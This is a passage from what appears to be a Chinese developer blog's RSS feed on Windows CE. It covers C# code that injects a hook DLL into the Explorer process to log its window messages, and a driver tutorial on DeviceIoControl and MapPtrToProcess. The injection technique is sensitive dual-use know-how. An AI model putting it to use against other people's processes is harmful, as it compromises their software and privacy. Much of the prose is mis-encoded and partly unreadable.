<tbody> <tr> <td class="content" bgcolor="#cccccc"> <p>int m_hTargetWindow;//要挂接的目标H体句柄<br>IntPtr m_hTargetProcess;//目标H体所属的q程<br>IntPtr m_hModule; //挂接DLL的句?/p> <p>private void Form1_Load(object sender, EventArgs e)<br>{<br> IntPtr tpTemp = IntPtr.Zero, tpTempa = IntPtr.Zero;<br> uint tuntApiRet;</p> <p> m_hTargetWindow = (int)clsCECoreAPI.FindWindow("Explore", null );//资源理?0x0013e800;</p> <p> //挂接指定的进E窗体消?br> IntPtr thCurrentProcess = clsCECoreAPI.GetCurrentProcess();<br> m_hTargetProcess=IntPtr.Zero ;// (IntPtr) (unchecked((int)0xedd84e4a));<br> tuntApiRet= clsCECoreAPI.GetWindowThreadProcessId(new IntPtr(unchecked((int) m_hTargetWindow)),<br>ref m_hTargetProcess);</p> <p> string tstrArgument;<br> tstrArgument = "\\Program Files\\processinject\\HookWindowsProcMFCDLL.dll";// HookWindowsProcMFCDLL.dll";<br> IntPtr tpArg0;</p> <p> int tintOriginalKMode = clsCECoreAPI.SetKMode(1);<br> int tintOriginalProcPermission = (int)clsCECoreAPI.SetProcPermissions(0xffffffff);</p> <p> IntPtr tpFuncProc = clsCECoreAPI.GetProcAddress(clsCECoreAPI.GetModuleHandle("coredll.dll"), "LoadLibraryW");</p> <p> CallBackInfo tudtCALLBACKINFO;</p> <p> tpArg0 = clsCECoreAPI.MapPtrToProcess(tstrArgument, thCurrentProcess);</p> <p> tudtCALLBACKINFO.hProc = m_hTargetProcess;// Proc;<br> tudtCALLBACKINFO.pfn = clsCECoreAPI.MapPtrToProcess(tpFuncProc, m_hTargetProcess);<br> tudtCALLBACKINFO.pvArg0 = tpArg0;<br> m_hModule =new IntPtr(unchecked(<br>(int) clsCECoreAPI.PerformCallBack4(ref tudtCALLBACKINFO,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero )));<br> //clsCECoreAPI.Sleep(1000);</p> <p> IntPtr thModule = clsCECoreAPI.LoadLibrary("HookWindowsProcMFCDLL.dll");<br> tpFuncProc = clsCECoreAPI.GetProcAddress(thModule, "fnAttachWinProc");</p> <p> tpArg0 = (IntPtr) m_hTargetWindow;// clsCECoreAPI.MapPtrToProcess(ref thTargetWindow, thCurrentProcess);</p> <p> tudtCALLBACKINFO.hProc = m_hTargetProcess;<br> tudtCALLBACKINFO.pfn = clsCECoreAPI.MapPtrToProcess(tpFuncProc, m_hTargetProcess);<br> tudtCALLBACKINFO.pvArg0 = tpArg0 ;<br> tuntApiRet = clsCECoreAPI.PerformCallBack4(ref tudtCALLBACKINFO,IntPtr.Zero,IntPtr.Zero,IntPtr.Zero );<br> //clsCECoreAPI.Sleep(5000);<br>}</p> <p>[DllImport("HookWindowsProcMFCDLL.dll")]<br>public static extern int fnAttachWinProc(IntPtr ni_hAttatchWin);</p> <p>[DllImport("HookWindowsProcMFCDLL.dll")]<br>public static extern int fnDetachWinMsgProc(IntPtr ni_hDetachWin); </p> </td> </tr> </tbody> </table> <p>取消挂接的代码根据上qC码很Ҏ可以徏立,不再l叙?/p> <p>注:clsCECoreAPI的函数全是封装的标准CE APIQ由于这些API在msdn 中都有详l的文注释Q因幅所限,不再代码一一列D.</p> <p>在执行这个程序时Q将模拟器的׃n路径设ؓPC机的桌面Q这h拟器的storage card目录q同桌面了Q点模拟器的开始菜单,选程序,你就可以看到exploreH体的消息都输出到桌面的WinProcInfo.txt文g中了Q运行结果如下:<br><br> <img src="http://www.uml.org.cn/embeded/images/42c0m7vf8195s.jpg" border="0" height="388" width="500">  <br><br> 目前本程序只在PPC2003/wm5 for PPC试通过,׃smartphonepȝ在编译时使用了和ppcpȝ不同的机Ӟ内存q作不明Q本E序在smartphone上无法正运行,有好的徏议的话请指教一?谢谢. </p><img src ="http://www.shnenglu.com/zjj2816/aggbug/58806.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zjj2816/" target="_blank">井泉</a> 2008-08-14 09:29 <a href="http://www.shnenglu.com/zjj2816/archive/2008/08/14/58806.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MapPtrToProcess 用法 WINCE驱动分析3 ?/title><link>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58805.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 14 Aug 2008 01:28:00 GMT</pubDate><guid>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58805.html</guid><wfw:comment>http://www.shnenglu.com/zjj2816/comments/58805.html</wfw:comment><comments>http://www.shnenglu.com/zjj2816/archive/2008/08/14/58805.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zjj2816/comments/commentRss/58805.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zjj2816/services/trackbacks/58805.html</trackback:ping><description><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">可以使用下面的应用程序代码测试这?/span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">Q?/span><span lang="EN-US"><font face="Times New Roman">evc</font></span><span style="font-family: 宋体;">~译?/span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include <windows.h></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include<Windev.h></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include <stdio.h></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include "objbase.h"</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include "initguid.h"</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#include "foo.h"</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">//char data1[10];</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">int<span>  </span>WinMain(void)</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">{</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>HANDLE hnd;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>COPY_STRUCT cs[1];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>int i;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//static char data1[10];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>  </span>auto char data1[10];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>auto char data2[10];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>static char* p1,*p2;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//cs.pBuffer1 = (char *)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//cs.pBuffer2 = (char*)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//cs.nLen = 10;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>p1 = (char *)LocalAlloc(LPTR,10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>p2 = (char *)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//cs[0].pBuffer1 = (char *)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//cs[0].pBuffer2 = (char*)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>cs[0].pBuffer1 = &data1[0];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>cs[0].pBuffer2 = &data2[0];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>cs[0].nLen = 10;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>memset(cs[0].pBuffer1,'a',10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>hnd = CreateFile(FOO_DEV_NAME,GENERIC_READ|GENERIC_WRITE,0,NULL,0,0,NULL);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>if(hnd==NULL)</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>{</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>           </span>printf("Open device falied!\n");</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>           </span>return;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>}</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>DeviceIoControl(hnd,IOCTL_FOO_XER,&cs[0],sizeof(COPY_STRUCT),NULL,0,NULL,NULL);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//for(i=0;i<9;i++)</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//{</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>           </span>//printf(" %c",*(cs.pBuffer2++));</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>//}</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>printf("\n");</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>CloseHandle(hnd);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">//<span>  </span>free(cs[0].pBuffer1);</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">//<span>  </span>free(cs[0].pBuffer2);</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">}</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">可以通过</span><span lang="EN-US"><font face="Times New Roman">evc</font></span><span style="font-family: 宋体;">的单步调试看l果。好了一切都完成了,我们来看看系l是怎么工作的吧Q从应用E序开始,</span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">CreateFile(FOO_DEV_NAME,GENERIC_READ|GENERIC_WRITE,0,NULL,0,0,NULL);</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">会调用到</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">FOO_Open(DWORD dwContext, DWORD AccessCode, DWORD ShareMode)</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">?/span><span lang="EN-US"><font face="Times New Roman">FOO_DEV_NAME</font></span><span style="font-family: 宋体;">名字定义?/span><span lang="EN-US"><font face="Times New Roman">foo.h</font></span><span style="font-family: 宋体;">里面?/span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">#define<span>       </span>FOO_DEV_NAME<span> </span>L"Foo1:"</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">注意后面?/span><span lang="EN-US"><font face="Times New Roman"> 1 ,</font></span><span style="font-family: 宋体;">q个是和注册表的q一匹配的</span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">"Index"=dword:1</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">当调?/span><span lang="EN-US"><font face="Times New Roman">CreateFile</font></span><span style="font-family: 宋体;">发生了什么,</span><span lang="EN-US"><font face="Times New Roman">slot</font></span><span style="font-family: 宋体;">之间的{换,一pdpȝ操作后,调用到我们自q</span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">函数</span><span lang="EN-US"><font face="Times New Roman">FOO_Open</font></span><span style="font-family: 宋体;">Q在q个函数里我们返回了一个句柄,它可以用来存储我们的自己</span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">的信息。在其它</span><span lang="EN-US"><font face="Times New Roman">I/O</font></span><span style="font-family: 宋体;">操作中可以用?/span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">Driver</font></span><span style="font-family: 宋体;">什么时候加载的Q在注册表里Q?/span><span lang="EN-US"><font face="Times New Roman">device manager</font></span><span style="font-family: 宋体;">会一个个的加载,会调用到</span><span lang="EN-US"><font face="Times New Roman">FOO_Init</font></span><span style="font-family: 宋体;">函数。这个函数返回一个指针,在调?/span><span lang="EN-US"><font face="Times New Roman">FOO_Open</font></span><span style="font-family: 宋体;">又传回来了,q样我们可以实现初始化一些自?/span><span lang="EN-US"><font face="Times New Roman">driver</font></span><span style="font-family: 宋体;">的东ѝ?/span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">接着一个重要的函数Q?/font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">DeviceIoControl(hnd,IOCTL_FOO_XER,&cs[0],sizeof(COPY_STRUCT),NULL,0,NULL,NULL);</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">调用?/font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">FOO_IOControl</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">走到q里</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">case IOCTL_FOO_XER:</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>           </span>if((pInBuf==NULL))</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>{</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>SetLastError(ERROR_INVALID_PARAMETER);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>break;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>}</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>pcs = (COPY_STRUCT*)pInBuf;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>           </span><span>       </span></font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>__try{</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>pMap1 =<span>  </span>MapPtrToProcess(pcs->pBuffer1,GetCallerProcess());</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>pMap2 =<span>  </span>MapPtrToProcess(pcs->pBuffer2,GetCallerProcess());</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>DEBUG_OUT(1, (TEXT("+FOO_IOControl(0x%x,0x%x)\r\n"),pcs->pBuffer1,pcs->pBuffer2));</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>memcpy(pcs->pBuffer2,pcs->pBuffer1,pcs->nLen);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>bResult = TRUE;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>}</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>__except(EXCEPTION_EXECUTE_HANDLER){</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>DEBUG_OUT(1,(TEXT("Exception:FOO_IOCTL\r\n")));</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>break;<span>                          </span></font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>}</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><span><font face="Times new roman" size="3">                  </font></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>break;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>           </span>default:</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                  </span>break;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">q里又很多东西要研究Q?/font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">从应用程序传来的参数有,</span><span lang="EN-US"><font face="Times New Roman"> control code</font></span><span style="font-family: 宋体;">Q?/span><span lang="EN-US"><font face="Times New Roman">IOCTL_FOO_XER</font></span><span style="font-family: 宋体;">和一个重要的输入参数</span><span lang="EN-US"><font face="Times New Roman">&cs[0],</font></span><span style="font-family: 宋体;">它是一个指针?/span><span lang="EN-US"><font face="Times New Roman">cs </font></span><span style="font-family: 宋体;">是一个结构体Q定义在</span><span lang="EN-US"><font face="Times New Roman">FOO.H</font></span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">typedef struct {</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>char* pBuffer1;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>char* pBuffer2;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>int nLen;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">}COPY_STRUCT;</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">而且q个l构体里有两个指针?/font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">DeviceIoControl </font></span><span style="font-family: 宋体;">传过来的指针可以用吗Q它包含的两个指针可以直接用吗?</span></font></p> <p 